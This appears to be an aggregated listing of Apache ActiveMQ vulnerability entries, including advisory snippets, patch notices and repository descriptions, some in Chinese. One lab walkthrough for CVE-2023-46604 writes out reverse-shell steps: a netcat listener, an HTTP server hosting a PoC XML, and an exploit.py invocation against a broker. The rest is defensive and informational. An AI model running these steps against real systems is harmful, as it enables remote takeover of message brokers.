apache__activemq_CVE-2014-3576_5-10-1

Welcome to Apache ActiveMQ Apache ActiveMQ is a high performance Apache 2.0 licensed Message Broker and JMS 1.1 implementation. Getting Started To help you get started, try the following links: Getting Started http://activemq.apache.org/version-5-getting-started.html Building...

apache__activemq_CVE-2019-0222_5-15-8

Welcome to Apache ActiveMQ Apache ActiveMQ is a high performance Apache 2.0 licensed Message Broker and JMS 1.1 implementation. Getting Started To help you get started, try the following links: Getting Started http://activemq.apache.org/version-5-getting-started.html Building...

CVE-2023-50780

CVE-2023-50780：Apache ActiveMQ Artemis 中可通过 Jolokia API 访问的危险 MBeans 通过枚举并检查 http://127.0.0.1:8161/console/jolokia 上由 Jolokia API 暴露的 MBeans，已识别出以下攻击向量： 使用 Log4J 进行任意文件写入，间接导致远程代码执行 使用 Log4J 进行任意文件读取 使用 Artemis Broker MBeans 进行拒绝服务（DoS） 知晓 Artemis Web 界面所用基本认证凭据的本地攻击者可以利用此漏洞。 注意： 如果服务器设置了...

intel471-threat-hunting-cve-2023-46604

Intel 471 威胁狩猎工作坊 – CVE-2023-46604 调查 概述 本仓库记录了我首次上手体验 Intel 471 以 CVE-2023-46604 为重点的「情报驱动威胁狩猎工作坊」的经历。 通过这个实操工作坊，我调查了攻击者如何利用一个严重的 Apache ActiveMQ 漏洞，使用 Elastic SIEM 分析了漏洞利用后的行为，并应用情报驱动的威胁狩猎方法来识别恶意持久化机制。 展示的技能 威胁狩猎 Elastic SIEM 调查 漏洞情报 Windows 事件分析 LOLBIN 检测 sc.exe 服务持久化分析 事件 ID 7045 检测 蓝队运营...

Project-Vuln-Detection-N-Mitigation_101

项目-漏洞检测与缓解101 Apache ActiveMQ 反序列化远程代码执行 CVE-2023-46604 – 第二阶段项目 安全架构与系统管理 作者: Vaishnavu C V · 日期: 2025年9月17日 状态: ⌀ 第二阶段交付物已完成 概述 本仓库记录了一个专注于 Apache ActiveMQ Classic 中 CVE‑2023‑46604 的手动安全设计项目。它包括对漏洞的清晰解释、深入的技术笔记、影响评估、受影响的系统、检测 和 缓解 设计，以及一份适合大学提交的综合设计报告。 快速链接 →→ 第二阶段设计报告（单一文件） →...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia 1. Overview...

CVE-2023-46604

CVE-2023-46604 根据环境要求，构建包含受害者机器和目标机器两个镜像的 docker-compose 在受害者机器上，启动 ActiveMQ 切换到攻击机器： • 开启 HTTP 服务以发送 poc： python3 -m http.server • 使用 netcat 监听到攻击机器的连接： nc -nlvp 4444 • 发送创建反向 shell 连接到攻击机器的 payload： python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml 其中：...

CLEANSTART-2026-YM23657 Security fixes in activemq 6.3.1-r1

Package activemq version 6.3.1-r1 fixes 12 vulnerabilities: ghsa-r7wm-3cxj-wff9, CVE-2026-54512, CVE-2026-54513, CVE-2026-54514, CVE-2026-54515...

CLEANSTART-2026-PA66071 Security fixes in activemq 6.2.8-r2

Package activemq version 6.2.8-r2 fixes 16 vulnerabilities: CVE-2026-2332, CVE-2026-10050, ghsa-r7wm-3cxj-wff9, ghsa-72hv-8253-57qq, CVE-2026-54512...

CLEANSTART-2026-VB68663 Security fixes in activemq 6.2.8-r1

Package activemq version 6.2.8-r1 fixes 16 vulnerabilities: CVE-2026-2332, CVE-2026-10050, CVE-2025-11143, CVE-2024-6763, ghsa-r7wm-3cxj-wff9...

CLEANSTART-2026-DV18988 Security fixes in apache-activemq-artemis 2.56.0-r1

Package apache-activemq-artemis version 2.56.0-r1 fixes 15 vulnerabilities: CVE-2026-42581, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-41417...

CVE-2026-42588

A flaw was found in Apache ActiveMQ. An authenticated attacker can exploit an improper input validation vulnerability in the Jolokia JMX-HTTP bridge. By crafting a malicious discovery URI, the attacker can trigger the VM transport's brokerConfig parameter to load a Spring XML application context...

ROOT-OS-DEBIAN-12-CVE-2026-34197 CVE-2026-34197 in activemq - Patched by Root

Root has patched CVE-2026-34197 in the activemq package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-13-CVE-2026-34197 CVE-2026-34197 in activemq - Patched by Root

Root has patched CVE-2026-34197 in the activemq package for Root:Debian:13. Multiple fixed versions available...

ROOT-OS-DEBIAN-11-CVE-2026-34197 CVE-2026-34197 in activemq - Patched by Root

Root has patched CVE-2026-34197 in the activemq package for Root:Debian:11. Multiple fixed versions available...

Exploit for Deserialization of Untrusted Data in Apache Activemq

CVE-2023-46604 – Apache ActiveMQ Remote Code Execution Ove...

The vulnerability of Apache ActiveMQ software-related to integer overflow allows attackers to cause service failures.

The vulnerability of Apache ActiveMQ software products is related to integer overflow. Exploiting this vulnerability can allow a malicious actor to cause service failures...

BIT-ACTIVEMQ-2026-61487 Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ: Authorization bypass via temporary composite destinations

Improper Authorization vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ. An authenticated low-privilege user can bypass a per-destination write ACL by sending to an ActiveMQ temporary composite destination whose physical name is a comma-separated composite of real...

BIT-ACTIVEMQ-2026-59878 Apache ActiveMQ AMQP, Apache ActiveMQ, Apache ActiveMQ All: AMQP NIO negative frame size validation bypass leading to DoS

Improper Input Validation vulnerability in Apache ActiveMQ AMQP, Apache ActiveMQ, Apache ActiveMQ All. A remote unauthenticated peer that can reach an exposed AMQP NIO connector can trigger denial-of-service behavior by sending a frame size value. This cause the NIO threads to die and if done...

The vulnerability of the ActiveMQ NIO SSL module in Apache ActiveMQ products allows a attacker to cause a service failure.

The vulnerability of the ActiveMQ NIO SSL software products of Apache ActiveMQ is related to an uncontrolled resource consumption. Exploiting this vulnerability may allow a malicious actor to cause service failures...